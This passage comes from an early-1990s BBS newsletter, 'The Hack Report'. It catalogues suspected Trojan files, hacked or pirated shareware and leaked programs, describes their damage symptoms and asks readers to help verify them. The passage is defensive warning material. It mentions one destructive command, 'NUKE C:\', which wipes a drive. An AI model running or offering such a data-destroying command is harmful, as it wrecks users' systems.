  2006.        the Yankee Doodle virus that is only detectable by SCANV99....
  2007.        please clean these two exe files IMMEDIATELY and in case you
  2008.        have run them already, there might b some other files that are
  2009.        infected. CLEAN99 will clean them just fine. Sorry for the
  2010.        inconvenience but I recently found out that my HD was infected
  2011.        and therefore, every file that I compile is infected. Thank you
  2012.        for your patience.
  2013.  
  2014.   I can only assume that these were self extracting archives - no
  2015.   descriptions of the files were available.
  2016.  
  2017.  
  2018.   Steve Winter (1:153/7070) reported on a file called SUB1_V21.  This
  2019.   claimed to be a program called SUB, a directory list utility.  Steve
  2020.   checked out the file prior to running the install program and found no
  2021.   anomalies.  However, once installed, he says he began to get conflicting
  2022.   directory reads, disk full errors, and problems booting.  Somehow, his
  2023.   boot record had been damaged.
  2024.  
  2025.   According to his testing, the file passes scans with F-Prot v2.08a and
  2026.   does not alert McAfee's VShield v104.  He says the archive contains two
  2027.   files - INSTALL.EXE and SUB.SPZ, which contains the executable.  INSTALL
  2028.   creates a subdirectory and extracts files from the SUB.SPZ file.
  2029.  
  2030.   Steve says he is attempting to get another copy for testing.  Until that
  2031.   time, I can't say for sure if he was the victim of a system glitch, buggy
  2032.   software, or a true Trojan.  If anyone out there has this file, please
  2033.   contact your local HackWatcher or myself so that we can arrange for
  2034.   testing.
  2035.  
  2036.  
  2037.   Mark Harris (1:121/26.1) found a pair of archives called DEATH_1 and
  2038.   DEATH_2 on a local system.  The files were described as a new Apogee game
  2039.   called Deathbringer.  The archives contained no documentation, and all
  2040.   program files were dated 1990 or 1991.  When run, the game displayed the
  2041.   name "Deathbringer," but gave no company or copyright information.  Scans
  2042.   by McAfee's ViruScan and Frisk's F-Prot proved negative.
  2043.  
  2044.   Mark has provided additional information that adds to the suspicion that
  2045.   this is a pirated file.  The program begins with the following screen:
  2046.  
  2047.          Empire, in association with ODE and The Mystery Machine,
  2048.                                  presents
  2049.                          -=*=- DEATHBRINGER -=*=-
  2050.                             Select Vidoe Mode:
  2051.  
  2052.                             1)  VGA   16 color
  2053.                             2)  EGA   16 color
  2054.                             3) Tandy   4 color
  2055.                             4)  CGA    4 color
  2056.                             5) Tandy  16 color
  2057.  
  2058.        Roland, Adlib and Tandy music supported
  2059.        (Playing now, if found, M to toggle on/off)
  2060.        J to select Joystick, K for keyboard
  2061.        = to speed up, - to slow down game (fast PCs)
  2062.  
  2063.        THOSE WHO LABOURED:
  2064.        John Wood...................Atari ST, Commodore Amiga, Design
  2065.        Kevin Ayre.....................................IBM PC, Design
  2066.        Colin Swinbourne.....................................Graphics
  2067.        Richard Yapp...................................Levels, Design
  2068.        Sound Images............................................Music
  2069.  
  2070.        Deathbringer,  Karn  and  all  Deathbringer  Characters  and  the
  2071.        distinctive  likenesses thereof are Trademarks of Abaddon Duke of
  2072.        Hell Group Inc.
  2073.  
  2074.  
  2075.   Mark goes on to say:
  2076.  
  2077.        There was no documentation in the archive (which I will
  2078.        continue to hold on to, in case you need it for any reason)
  2079.        giving any playing instructions, no shareware notice or
  2080.        registration request, nothing whatsoever to indicate the origin
  2081.        of this program except for the above.  That's what prompted me
  2082.        to write in the first place; it looks to me (especially
  2083.        considering the quality of the graphics,) like this is a
  2084.        commercial program with as much of the copyright and
  2085.        identifying screens hacked out of it as possible.
  2086.  
  2087.   As an Apogee Tech Support Specialist, I can personally verify that this
  2088.   is not a product of Apogee.  Mark's opinion is that this is a hack of a
  2089.   commercial game:  I tend to agree.  Jim Wells (1:2613/261) forwarded the
  2090.   file contents, along with some other information still being looked into:
  2091.   he feels that this is a "hacked" version of the official release, whether
  2092.   shareware or commercial.  Rick McBride (1:363/178) says it is indeed
  2093.   commercial, as he saw it on a CD-ROM about a year ago.  However, he does
  2094.   not remember the publisher's name (possibly Psygnosis, he says) - only
  2095.   that it is an arcade-style D&D game.
  2096.  
  2097.   This is still being researched.  In the meantime, I would appreciate any
  2098.   information that a user of the possible commercial version could forward
  2099.   - please help your Hack Squad verify this one.
  2100.  
  2101.  
  2102.   Chuck Cypert (1:124/2113) reported in the FidoNet VIRUS_INFO echo that
  2103.   the SysOp of the CompUSA BBS in Carrollton, TX had a problem with a file
  2104.   called UNIXHAC.  The SysOp reports that this file formatted his hard
  2105.   drive.  No further details were available, as the SysOp had already
  2106.   deleted the file.  If someone has a copy of this, again, please contact
  2107.   one of The HackWatchers or myself.
  2108.  
  2109.  
  2110. | Harvey Woien (1:102/752) forwarded a report from a user of The
  2111. | Motherboard (Vern Buerg's BBS), Ted R. Marcus, about a version of the
  2112. | Microsoft Mouse Driver claiming to be version 9.0.  It also appears that
  2113. | this file came down a file distribution network under the filename
  2114. | MSMAUS90, possibly originating in Germany.  Your Hack Squad has found a
  2115. | copy of the same archive Ted reported on, and confirms some of his
  2116. | observations on the file (MOUSE900), quoted here:
  2117. |
  2118. | 1.  Microsoft Diagnostics and InfoPlus report this "9.00" driver as
  2119. |     version 8.00.  The latest "official" version of which I am aware is
  2120. |     8.20a.
  2121. |
  2122. | 2.  The "new" driver is significantly smaller than version 8.20a.
  2123. |
  2124. | 3.  The "new" driver supports the undocumented /U switch (which loads
  2125. |     much of the driver into the HMA).  Version 8.0 and 8.1 supported this
  2126. |     feature, but Microsoft removed it from version 8.2 (shipped with DOS
  2127. |     6.0).  The support for the /U switch suggests that the driver is, in
  2128. |     fact, version 8.0.
  2129. |
  2130. | 4.  Examining the MOUSE.COM driver file reveals one instance where the
  2131. |     version number (repeated in the initialization message for each
  2132. |     language the driver supports) is "9.40".  That indicates either
  2133. |     uncharacteristic sloppiness on the part of Microsoft -- or, more
  2134. |     likely, sloppiness on the part of a hacker.
  2135. |
  2136. | More information on MOUSE900 comes from Jeffery Bradley (1:3635/35).  He
  2137. | informed the folks here at Hack Central Station that there is indeed a
  2138. | legitimate v9.0 of the Microsoft Mouse Driver.  However, after talking
  2139. | with Microsoft, he did confirm that this should not be distributed via
  2140. | BBS systems:  it is commercial only, as previously reported.
  2141.  
  2142.  
  2143.   Yet another file that doesn't fit into any of the report categories: a
  2144.   report from Wen-Chung Wu (1:102/342) concerns the archive PKLT120R, which
  2145.   claims to be version 1.20 of PKLite.  This is actually PKLite
  2146.   Professional v1.12, a commercial product, which has been hacked to show
  2147.   version 1.20 instead of 1.12.  To make matters worse, the PKLITE.EXE file
  2148.   was compressed "by PKLITE itself more than three times and once by
  2149.   LZEXE."  So, what we have here is a hack of a pirated commercial file -
  2150.   jeez, this job gets confusing at times. ;-)
  2151.  
  2152.  
  2153.   Here's an update on the report from Bud Webster (1:264/165.7) on the
  2154.   Apogee game being distributed under the filename BLOCK5.ZIP.  As reported
  2155.   by Matthew Waldron (RIME Shareware Conf., via HW Richard Steiner) and Dan
  2156.   Stratton (via HW Ken Whiton), this program was part of an Apogee disk
  2157.   called the "Super Game Pack," and that it is a game called "Block Five."
  2158.   Joe Siegler (1:124/9006), the online support representative for Apogee
  2159.   Software Productions, confirms this, and states that the majority of the
  2160.   games on this disk, including this one, have been officially
  2161.   discontinued.  The official company stand is that this game should not be
  2162.   distributed via BBS systems, as it is no longer supported in any way by
  2163.   Apogee Software Productions.  Thanks to everyone who helped on this one.
  2164.  
  2165.  
  2166.   HW Bill Lambdin says he found a file in the Knoxville, Tennessee area
  2167.   called BIBLEPR (no description available) that appears a bit suspicious.
  2168.   The file contents are:
  2169.  
  2170.                 Length  Time    CRC-32  Attr  Name
  2171.                 ------  ----   -------- ----  ----
  2172.                  34176  11:26  d267f5de --w-  BIBLEPR.COM
  2173.                 158493  00:04  4298ac2d --w-  DATAPR-0.DAT
  2174.                 158493  00:04  d87adf4b --w-  DATAPR-1.DAT
  2175.                 158493  00:08  1213c6b3 --w-  DATAPR-2.DAT
  2176.                 159764  00:08  38d7cc06 --w-  DATAPR-3.DAT
  2177.                   1572  24:05  3a60c80e --w-  BIBLEPR.DOC
  2178.                 ------                        -------
  2179.                 670991                              6
  2180.  
  2181.   When BIBLEPR.COM executes, Bill says it displays the following message:
  2182.  
  2183.                         Greets from DOA!
  2184.  
  2185.         Don't say I didn't warn you! You are also busted!
  2186.  
  2187.         Expect a visit from the SPA!
  2188.  
  2189.         Omni, I will avenge you!
  2190.  
  2191.   Bill's disassembly shows the file contains two INT 26 calls, which are
  2192.   DOS Absolute Disk Write instructions.  He said that if it contains a
  2193.   virus, he was unable to get it to replicate.  A copy of the archive has
  2194.   been sent to Glenn Jordan at Datawatch Software for testing.
  2195.  
  2196.  
  2197.   Here's an interesting point, brought to my attention by HW Richard
  2198.   Steiner and John Weiss of the RIME Shareware Conference.  In previous
  2199.   issues, I have listed two files, QM60IST1 and QM60IST2 (reported by
  2200.   Francois Thunus, 2:270/25), as pirated copies of QModem v6.0.  However,
  2201.   Richard and John quite correctly point out that there was no release of
  2202.   QModem v6.0 - the program changed to QModem Pro after v5.
  2203.  
  2204. | This file, or a variant, has also been spotted by Jerry Van Laer of
  2205. | 2:292/805.7, under the name QM60D1-2 and QM60D2-2.  In this case, an
  2206. | internal "brag" screen stated the program was QmodemPro 1.0.
  2207.  
  2208.   From what Francois reported, I believe that what he saw was indeed Qmodem
  2209.   Pro, now a commercial-only program.  However, it was "released" under the
  2210.   above filenames.  So, is it a Hack?  Pirated File?  Or what?  Doesn't
  2211.   matter - it shouldn't be distributed.  Thanks, Richard and John, for
  2212.   making me fully engage my brain for a change. <grin>
  2213.  
  2214.  
  2215.   HW Bill Dennison captured a message from Marshall Dudley (Data World BBS,
  2216.   (615)966-3574) in the ILink VIRUS FILE conference about the archive
  2217.   ASCDEMO.  Marshall says that McAfee's ViruScan doesn't detect any
  2218.   infection until after you run it and it has infected other files.  No
  2219.   further information was supplied, other than the internal filenames
  2220.   (ASCDEMO.DOC and ASCDEMO.EXE).  I need further data on this before I can
  2221.   list it in the Trojan Wars section, so please advise if you have any.
  2222.  
  2223.  
  2224.   HW Emanuel Levy says the file IM, reported by Michael Santos in the
  2225.   Intelec Net Chat conference and listed in the 1992 Full Archive edition
  2226.   of The Hack Report.  Michael's report was a "hearsay" report from one of
  2227.   his friends, and stated that the IM screen saver file caused a viral
  2228.   infection.
  2229.  
  2230.   Emanuel says the file is an "outer space screen saver," currently under
  2231.   the filename IM17.  Scott Wunsch (1:140/23.1701) says the program name is
  2232.   "Inner Mission," and he currently has version 1.6.  In both cases, the
  2233.   files were clean.
  2234.  
  2235.   So, it looks like either Michael's friend's system became infected from a
  2236.   different source than the IM file, or that an isolated incident of an
  2237.   infected IM is involved.  No way to tell at this writing.
  2238.  
  2239.  
  2240.   Long time readers of this report will remember a question concerning the
  2241.   status of a screen saver called TUNNEL.  Ove Lorentzon (2:203/403.6) and
  2242.   Bill Roark (RIME address BOREALIS, Shareware conference, via HW Richard
  2243.   Steiner) both stated that the program was an internal IBM test program
  2244.   and was not intended for outside distribution.
  2245.  
  2246.   Your Hack Squad has received word from the author of the program, Dan
  2247.   Butterfield (Internet, danielb@vnet.ibm.com), that as far as he is aware,
  2248.   the program has never been released to the general public.  According to
  2249.   Dan, "it is still owned by IBM, and as such has been given the IBM
  2250.   security classification 'IBM Internal Use Only' which means what it says:
  2251.   the program is not for distribution to non-IBM employees."
  2252.  
  2253.   Dan also says that several other "Internal Use Only" programs have been
  2254.   "leaked" to the outside world, which implies that these files should not
  2255.   be posted for download.  One such program was originally called Dazzle
  2256.   (NOT to be confused with the other popular DAZZLE screensaver), but has
  2257.   entered BBS distribution under the filename O-MY-GOD (also seen as OMG,
  2258.   per Michael Burkhart (RIME address CENTER, via HW Richard Steiner).
  2259.   However, note that the O-MY-GOD/OMG file was hacked, according to Dan, so
  2260.   that all of the "Internal Use Only" references were removed.
  2261.  
  2262.   Another is a program that is usually included inside other archives:  the
  2263.   program name is PLAYANI.  Dan says this has been distributed "along with
  2264.   various animations," and also falls under the same Internal
  2265.   classification.
  2266.  
  2267.   A prime example of this is an archive called BALLS (not what you think).
  2268.   This is an animation of multiple chrome spheres rotating around each
  2269.   other above a red and white checkerboard platform.  In this case, both
  2270.   the player (PLAYANI) _and_ the animation are the property of IBM and are
  2271.   not intended for BBS distribution.
  2272.  
  2273.   Again, to quote Dan, "None of these programs are for external
  2274.   distribution; all are owned by IBM and are only for use inside IBM by IBM
  2275.   employees."  Thanks to Dan for all of his help.
  2276.  
  2277.  
  2278.   Donn Bly has cleared up the question on the status of the Sydex program
  2279.   TeleDisk, first raised by Mark Draconis (1:120/324) and Kelvin Lawson.
  2280.   Donn was kind enough to mail a copy of a letter sent to him by Sydex
  2281.   explaining that Teledisk is no longer shareware.  Here is an excerpt from
  2282.   the letter:
  2283.  
  2284.        "Effective April 1991, TeleDisk is no longer a shareware
  2285.        product.  After long consideration, we decided to
  2286.        discontinue our offering of the shareware edition of
  2287.        TeleDisk, and license it only as a commercial product.
  2288.  
  2289.        "Commercial licenses of TeleDisk are available from Sydex at
  2290.        $150 a copy.  All shareware distributors and BBS sysops who
  2291.        take time to check their sources are requested to remove
  2292.        TeleDisk from shareware distribution."
  2293.  
  2294.   The letter is signed by Miriam St. Clair for Sydex.  To summarize, Sydex
  2295.   is no longer accepting shareware registrations for TeleDisk, and asks
  2296.   that it be not be made available for download from BBS systems.
  2297.  
  2298.   Thanks to Donn for his help in this matter.
  2299.  
  2300.  
  2301.   HW Ken Whiton forwards messages from Harold Stein, Gary Rambo, and Gwen
  2302.   Barnes of Mustang Software, Inc., about a "patch" program aimed at
  2303.   OffLine Xpress (OLX) v1.0.  The patch is supposed to allow OLX to
  2304.   read and reply to Blue Wave packets, along with a lot of other seemingly
  2305.   unbelievable feats.  Gwen Barnes did not seem to know of the patch, but
  2306.   published the following advice in the WildNet SLMROLX conference to
  2307.   anyone considering trying it:
  2308.  
  2309.     1. Make a complete backup of your system.
  2310.     2. Make sure you've got all the latest SCAN stuff from McAfee
  2311.     3. Try it, keeping in mind that it more than likely does nothing
  2312.        at all, or is a trojan that will hose your system.
  2313.     4. Get ready to re-format and restore from backups if this is in
  2314.        fact the case.
  2315.  
  2316.   No filename was given for this patch.  If anyone runs across a copy of
  2317.   it, please contact one of The HackWatchers or myself so that we can
  2318.   forward a copy to MSI for testing.
  2319.  
  2320.  
  2321.   HW Bill Lambdin reports that someone has taken all of McAfee Associates'
  2322.   antiviral programs and combined them into one gigantic (over 700k)
  2323.   archive.  He did not say whether the files had been tampered with, but he
  2324.   did send a copy to McAfee for them to dissect.  The file was posted under
  2325.   the filename MCAFEE99.  I would not suggest downloading this file:  as a
  2326.   matter of fact, this reporter prefers to call McAfee's BBS directly when
  2327.   a new version of any of their utilities comes out.  I highly recommend
  2328.   this method, since it insures that you will receive an official copy.
  2329.  
  2330.  
  2331.   HW Matt Kracht forwarded a message from Stu Turk in the DR_DEBUG
  2332.   echo about possible Trojans going around as PKZIP 2.21 and/or 2.22.  Stu
  2333.   also says that there is a warning about these in circulation.  If you
  2334.   have a copy of this warning, please send a copy to Hack Central Station
  2335.   (1:124/4007).
  2336.  
  2337.   =========================================================================
  2338.  
  2339.                             Information, Please
  2340.  
  2341.   This the section of The Hack Report, where your Hack Squad asks for
  2342.   _your_ help.  Several reports come in every week, and there aren't enough
  2343.   hours in the day (or fingers for the keyboards) to verify them all.  Only
  2344.   with help from all of you can The Hack Report stay on top of all of the
  2345.   weirdness going on out there in BBSLand.  So, if you have any leads on
  2346.   any of the files shown below, please send it in: operators are standing
  2347.   by.
  2348.  
  2349.  
  2350. | Chuck Hammock (1:392/20) reported in the FidoNet DIRTY_DOZEN echo that
  2351. | one of his users uploaded a file called PASTUT24.  The user warned Chuck
  2352. | that this file was infected with the Kamikazee virus.  I was unable to
  2353. | get further information on this, so Chuck, if you are reading this (or if
  2354. | anyone else can confirm this), please send me some NetMail on your
  2355. | results.
  2356.  
  2357.  
  2358. | Russell Wagner reported a problem with a copy of VMIX222.  This shareware
  2359. | multitasker is currently at v2.87.  Russell claims to have found a
  2360. | possible isolated incident of a Trojan version of the program.  He wound
  2361. | up scrambling the FAT on his C: drive when he ran the program, and was
  2362. | able to reproduce the damage in subsequent tests.  He only ran the
  2363. | program on one system, however, so it is not clear as to whether he has
  2364. | found a true Trojan claiming to be the real VMiX, a corrupted copy of the
  2365. | file, or whether he has some sort of hardware incompatibility.  If anyone
  2366. | else has run into a problem with v2.22 of this program, please advise.
  2367.  
  2368.  
  2369.   Robert Rothenburg (Internet robert.rothenburg@asb.com) received a file
  2370.   called JAMMER that he says is very suspicious.  The archive had a file
  2371.   with the name JAMMER.EXE and a description that said something to the
  2372.   effect of, "run this first and your calls won't be traced."
  2373.  
  2374.   He looked through the executable and found the name "Nmodem Jammer 2.8",
  2375.   along with "some other claims about adjusting the modem configuration"
  2376.   and "some nasty insults to a couple of people."  Virus scanners showed
  2377.   nothing, so he looked at the interrupts.  He says it "looks like it
  2378.   installs a TSR of sorts and does some disk writes."  He concludes that
  2379.   the file possibly "instals a virus or just damages certain files, though
  2380.   i suspect it will go after the comm program, as a message says when it
  2381.   ends to 'run your communications program now!'".
  2382.  
  2383.   I am attempting to get a copy of this from Robert for further testing -
  2384.   please be on the lookout for a copy, and notify your local HackWatcher or
  2385.   myself if you see it.
  2386.  
  2387.  
  2388.   Jim Tinlin (1:206/2604) brought into question a file called CRAPS, which
  2389.   looks like a shareware Craps game for Windows.  However, a line inside
  2390.   the internal README.TXT file reads as follows:
  2391.  
  2392.       "As a licensed owner, please do not distribute this copy to others"
  2393.  
  2394.   To further confuse matters, the game displays an opening screen that
  2395.   states it is indeed shareware and should be distributed.  The file
  2396.   contents are as follows:
  2397.  
  2398.         CRAPS    EXE    264007 05-13-93   9:05aC
  2399.         CRAPS    HLP     40043 04-12-93   7:16aC
  2400.         README   TXT      5322 04-12-93   7:02aR
  2401.                 5 file(s)     309372 bytes
  2402.  
  2403.   This is another one that makes us scratch our heads here at Hack Central
  2404.   Station.  Any information would be appreciated.
  2405.  
  2406.  
  2407.   HW Bob Seaborn forwarded a message from Kevin Haverstock (via Tom Scott,
  2408.   1:140/47) about a file called TCM_V511.  This was described as "The
  2409.   Configuration Manager," a system configuration utility.  Kevin's report
  2410.   said that once you finish running the setup, your computer reboots and
  2411.   you get a prompt that "scrolls your screen and locks up your system."  He
  2412.   was unable to access his hard drive after booting from a system disk - a
  2413.   reformat was required.
  2414.  
  2415.   I am familiar with a legitimate shareware program called The
  2416.   Configuration Manager, but not under version number 5.11, nor under the
  2417.   above filename.  I can't be sure if Kevin's problems were the result of a
  2418.   hardware error, user error, or an isolated incident of a tampered
  2419.   archive.  If anyone has any information on what could have caused this,
  2420.   please enlighten me.
  2421.  
  2422.  
  2423.   Harold Stein (1:107/236) found a file called STETRIS, claiming to be a
  2424.   Super Tetris game.  He says that there was a shareware version of this
  2425.   that was released about a year ago, but has since been renamed due to a
  2426.   conflict with a commercial game of the same name.  He is not sure whether
  2427.   or not he found the old shareware file or a pirated copy of the
  2428.   commercial file.  The archive (in .zip format, presumably using v2.04g)
  2429.   was 55,318 bytes long, and the archive date had been "touched" by the BBS
  2430.   it was uploaded to, forcing it to March 23, 1993 (Editorial: this renders
  2431.   filedates rather useless, IMHO. -lj)
  2432.  
  2433.   Based on further information from Jeff Hancock (1:3600/7), it seems now
  2434.   that Harold may have either an older shareware version, an incomplete
  2435.   archive, or a different program altogether.  Jeff's copy of the shareware
  2436.   version was only 47480 bytes (compressed with ARJ).  He has seen the
  2437.   commercial game, and says it is "MUCH larger".  With this information, I
  2438.   consider the matter closed.  Thanks to Jeff for his help.
  2439.  
  2440.  
  2441.   Peter Hempel (1:229/15) posted a message in the FidoNet Echo VIRUS about
  2442.   the file BREAKIT!, which was described as follows:
  2443.  
  2444.   BREAKIT!.ZIP  6714  03-29-93  (CRS) A Gw-Basic Code And Cipher Program
  2445.                                 Allowing You To Enter Ascii Characters, To
  2446.                                 Save Them, And To Encode And Decode.
  2447.  
  2448.   Peter claims that this program erased his root directory, but says he was
  2449.   able to recover everything by booting from a write-protected system disk
  2450.   and using the Norton Utilities UNERASE command.  The archive contents are
  2451.   as follows:
  2452.  
  2453.    Name         Original Method     Packed CR%   Date     Time   CRC
  2454.    ============ ======== ======== ======== === ======== ======== ========
  2455.    BREAKIT!.BAS     4453 Implode      2604  58  1-24-93 11:25:24 42CA0CE4
  2456.    CODEFILE.FIL     1240 Implode       550  44  3-28-92 10:52:44 B6ADEB20
  2457.    PRINTME.BAT        31 Stored         31 100  1-24-93 11:54:12 965CF8AE
  2458.    VIEW.COM          958 Implode       876  91  3-19-92 19:11:46 47C5E5EF
  2459.    README.BAT         30 Stored         30 100  1-24-93 11:52:32 95294A43
  2460.    BRK.BAT            40 Stored         40 100  1-24-93 11:53:32 FC9F3B2E
  2461.    BREAKIT!.DOC     2679 Implode      1440  54  1-24-93 11:56:06 EC302AFA
  2462.    ============ ======== ======== ======== === ======== ======== ========
  2463.           7         9431 ZIP          5571  59  1-24-93 11:56:06
  2464.  
  2465.   He did not say which file did the damage.  I do not know if this is a
  2466.   Trojan or an infected file - in either case, it may well be an isolated
  2467.   incident.  Test results would be greatly appreciated.
  2468.  
  2469.  
  2470.   Lowell Shatraw (1:315/6) states that there may be two pirated commercial
  2471.   fax programs floating around under the filenames FAX and PC_FAX.  The
  2472.   archives he reported on were in ARJ format and were 447,693 and 101,089
  2473.   bytes long, respectively.  The file dates were Dec. 4, 1992, and May 26,
  2474.   1992 - no way to tell if the BBS "touched" the filedates.  Lowell is also
  2475.   not sure which commercial products these may be.  If you happen to run
  2476.   across one or both of these, please look inside them - if they are
  2477.   commercial, please let me know (after you delete your copies, of course!
  2478.   <g>).
  2479.  
  2480.  
  2481.   A message from Tony Lim (1:120/314, forwarded by Jack Cross, 1:3805/13)
  2482.   states that he had a user upload a file called TAG-NFO, which turned out
  2483.   to be a Trojan.  No details about the Trojan were given, so any
  2484.   confirmation of this would be appreciated.
  2485.  
  2486.  
  2487.   HW Bill Lambdin forwards a message from Mario Giordani in the ILink Virus
  2488.   Conference about two files.  The archives, called PHOTON and NUKE, are
  2489.   possibly droppers, containing a file called NUKE.COM which "will trash
  2490.   your HD."
  2491.  
  2492.   Pat Finnerty (1:3627/107) sent a reply to the last report of this,
  2493.   stating that he has a copy of a PC Magazine utility called NUKE.COM,
  2494.   which is used to remove subdirectories which contain "nested subs,
  2495.   hidden, read-only (you name it)."  He says that the command NUKE C:\ will
  2496.   effectively delete everything on a hard drive, with no chance of repair.
  2497.   This is merely the way the program is designed.
  2498.  
  2499.   I do not know if this is what happened in Mario's case, or if Mario
  2500.   actually found a copy (read: isolated incident) which was infected. Bill
  2501.   has asked Mario for further information, and I would like to echo his
  2502.   call for help.  If you know of this, please lend a hand.
  2503.  
  2504.  
  2505.   Ned Allison (1:203/1102) forwarded a report into the FidoNet DIRTY_DOZEN
  2506.   echo from a user of The Mailbox BBS in Cleveland (216/671-7534) named
  2507.   Rich Bongiovanni.  Rich reports that there is a file floating around
  2508.   called DEMON WARS (archive name DMNWAR52) that is "infected with a
  2509.   virus."  If true, this may be an isolated incident.  I would appreciate
  2510.   confirmation on this.
  2511.  
  2512.  
  2513.   Greg Walters (1:270/612) reports a possible isolated incident of a
  2514.   problem with #1KEEN7.  When he ran the installation, he began seeing on
  2515.   his monitor "what looked like an X-rated GIF."  The file apparently
  2516.   scanned clean.  Any information on similar sightings would be
  2517.   appreciated.
  2518.  
  2519.  
  2520.   A report from Todd Clayton (1:259/210) concerns a program called
  2521.   ROBO.EXE, which he says claims to apparently "make RoboBoard run 300%
  2522.   faster."  He says he has heard that the program fools around with your
  2523.   File Allocation Table.  I have not heard any other reports of this, so I
  2524.   would appreciate some confirmation from someone else who has seen similar
  2525.   reports.
  2526.  
  2527.  
  2528.   Kelvin Lawson (2:258/71) posted a message in the SHAREWRE echo about a
  2529.   possible hack of FEBBS called F192HACK.  I have not seen this file, nor
  2530.   has the author of FEBBS, Patrik Sjoberg (2:205/208).  He forwards the
  2531.   file sizes in the archive, reported here:
  2532.  
  2533.         Name          Length      Mod Date  Time     CRC
  2534.         ============  ========    ========= ======== ========
  2535.         FEBBS.EXE       220841    09 Mar 92 21:17:00 96D2E08D
  2536.         014734.TXT        1403    26 Aug 92 01:59:18 3B9F717F
  2537.         ============  ========    ========= ======== ========
  2538.         *total     2    222244    26 Aug 92 01:59:24
  2539.  
  2540.   Kelvin says the .TXT file is just an advert for a BBS, so it is "not
  2541.   relevant!".  As I said, the author of FEBBS has never seen this file, so
  2542.   I've asked Kelvin to forward a copy of it to him.
  2543.  
  2544.  
  2545.   Andrew Owens (3:690/333.11) forwarded a report of a "Maximus BBS
  2546.   Optimiser," going under the filenames MAX-XD and MAXXD20. Scott Dudley,
  2547.   the author of Maximus, says he did not write any programs that have these
  2548.   names, but he does not know whether they are or are not legitimate third
  2549.   party utilities.  I have requested further information from Andrew on
  2550.   this topic, and would appreciate anyone else's information, if they have
  2551.   any.
  2552.  
  2553.  
  2554.   Yet another short warning comes from David Bell (1:280/315), posted in
  2555.   the FidoNet SHAREWRE echo, about a file called PCPLSTD2.  All he says is
  2556.   that it is a Trojan, and that he got his information from another
  2557.   "billboard" and is merely passing it on.  Again, please help if you know
  2558.   what is going on here.
  2559.  
  2560.  
  2561.   A message in the FidoNet ASIAN_LINK echo from Choon Hwee (1:3603/263)
  2562.   grabbed my attention the moment I saw it: in capital letters, it said,
  2563.   "DO NOT RUN this file called MODTEXT.EXE, cause it is a TROJAN!!!".  He
  2564.   goes on to say that two BBSs have been destroyed by the file.  However,
  2565.   that's about all that was reported.  I really need more to go on before I
  2566.   can classify this as a Trojan and not just a false alarm (i.e., archive
  2567.   name, what it does, etc.).  Please advise.
  2568.  
  2569.  
  2570. | Greg Mills (1:16/390) posted a question to Robert Jung in the ARJ Support
  2571. | Echo (FidoNet) about a version of ARJ called 2.33.  It was unclear as to
  2572. | whether or not Mr.  Mills had seen the file.  Mr. Jung has stated that
  2573. | this is not a legitimate release number.  It is possible that the
  2574. | references Greg saw about 2.33 were typos, but you never know.  Please
  2575. | help your Hack Squad out on this one - if you see it, report it.
  2576.  
  2577.   =========================================================================
  2578.  
  2579.                            The Meier/Morlan List
  2580.  
  2581. | Here is the current status of the files contained in the Meier/Morlan
  2582. | List.  This is the last month for requests for information on this part
  2583. | of The Hack Report, as I have placed a deadline of September 30th on the
  2584. | files in this list.  They've been reported for quite some while now, and
  2585. | the verifications have slowed to a trickle.  If the files listed below
  2586. | can't be verified in time for the October issue, I will need to write
  2587. | them off as false alarms.
  2588.  
  2589.  
  2590.             === Previous comments on the files in the list: ===
  2591.  
  2592.  
  2593.   Shane Paul of Softdisk Publishing (RIME, via HW Richard Steiner),
  2594.   comments on the SLORDAX game:
  2595.  
  2596.     "If the SLORDAX game if by Gamer's Edge and copyrighted by Softdisk
  2597.      then it is a pirated copy."
  2598.  
  2599.   I can't be sure that this is the case, so the file stays on the list
  2600.   until someone can verify this.
  2601.  
  2602.  
  2603.   Lee Madajczyk (1:280/5) surmises that HARRIER could be Harrier Combat
  2604.   Simulator by Mindscape, Inc.  He says that he hasn't seen anything from
  2605.   them in quite a while, and doesn't know if the company is still in
  2606.   business.
  2607.  
  2608.  
  2609.   Here are the remaining unresolved reports from HW Emanuel Levy:
  2610.  
  2611.   "387DX  - sounds like a Math Co-Processor emulator - might be legit
  2612.  
  2613.   "Barkeep sounds like it may be a version of Tapper. If you send beer mugs
  2614.   down the screen to patrons and then have to pick up the returning mugs
  2615.   and they leave tips, then it is Tapper. Or it may be an OLD game
  2616.   published in Compute Mag. If it is the one from Compute only those who
  2617.   have the Compute issue with the game in it are allowed to have a copy.
  2618.  
  2619.   "Harrier is either Harrier Jiump Jet or Space Harrier from Sega wich came
  2620.   out for the Commodore 64 in 89 so I would assume it came out for IBM
  2621.   around then too.
  2622.  
  2623.   "Gremlins- There was an Gremlins Text Adventure and a Video Came for the
  2624.   computer. The video game was put out by Atari
  2625.  
  2626.   Thanks, Emanuel.
  2627.  
  2628.  
  2629.   For those who have missed it before, here is what is left of the list of
  2630.   files forwarded by Joe Morlan (1:125/28), as compiled by Wes Meier, SysOp
  2631.   of the WCBBS (1-510-937-0156) and author of the AUNTIE BBS system.  Joe
  2632.   says Wes keeps a bulletin of all rejected files uploaded to him and the
  2633.   reasons they were rejected.  Joe also says he cannot confirm or deny the
  2634.   status of any of the files on the list.
  2635.  
  2636.   There are some that I am not familiar with or cannot confirm.  These are
  2637.   listed below, along with the description from Wes Meier's list.
  2638.  
  2639.   Due to the unconfirmed nature of the files below, the filenames are not
  2640.   included in the HACK????.COL and HACK????.IDX files that are a part of
  2641.   the archive of The Hack Report.  I would appreciate any help that
  2642.   anyone can offer in verifying the status of these files.  Until I receive
  2643.   verification on them, I will not count them as either hacks or pirated
  2644.   files.  Remember - innocent until proven guilty.
  2645.  
  2646.   My thanks go to Joe and Wes for their help.
  2647.  
  2648.         Filename  Reason for Rejection
  2649.         ========  =============================================
  2650.         BARKEEP   Too old, no docs and copyrighted with no copy
  2651.                   permission.
  2652.         HARRIER   Copyrighted.  No permission to copy granted.
  2653.         SLORGAME  Copyrighted.  No docs.  No permission to copy
  2654.                   granted.
  2655.         NOVELL    Copyrighted material with no permission to
  2656.                   BBS distribute
  2657.         DRUMS     I have no idea if these are legit or not.  No
  2658.                   docs.
  2659.         GREMLINS  No documantation or permission to copy given.
  2660.         CLOUDKM   A hacked commercial program.
  2661.         MENACE    Copyrighted.  No docs.  No permission to copy
  2662.                   granted.
  2663.         SNOOPY    Copyrighted.  No docs.  No permission to
  2664.                   copy granted.
  2665.         SLORDAX   Copyrighted.  No docs.  No permission to
  2666.                   copy granted.
  2667.         ESCAPE    Copyrighted.  No docs.  No permission to
  2668.                   copy granted.
  2669.         BANNER    Copyrighted.  No docs.  No permission to
  2670.                   copy granted.
  2671.         387DX     Copyrighted.  No docs or permission to
  2672.                   copy granted.
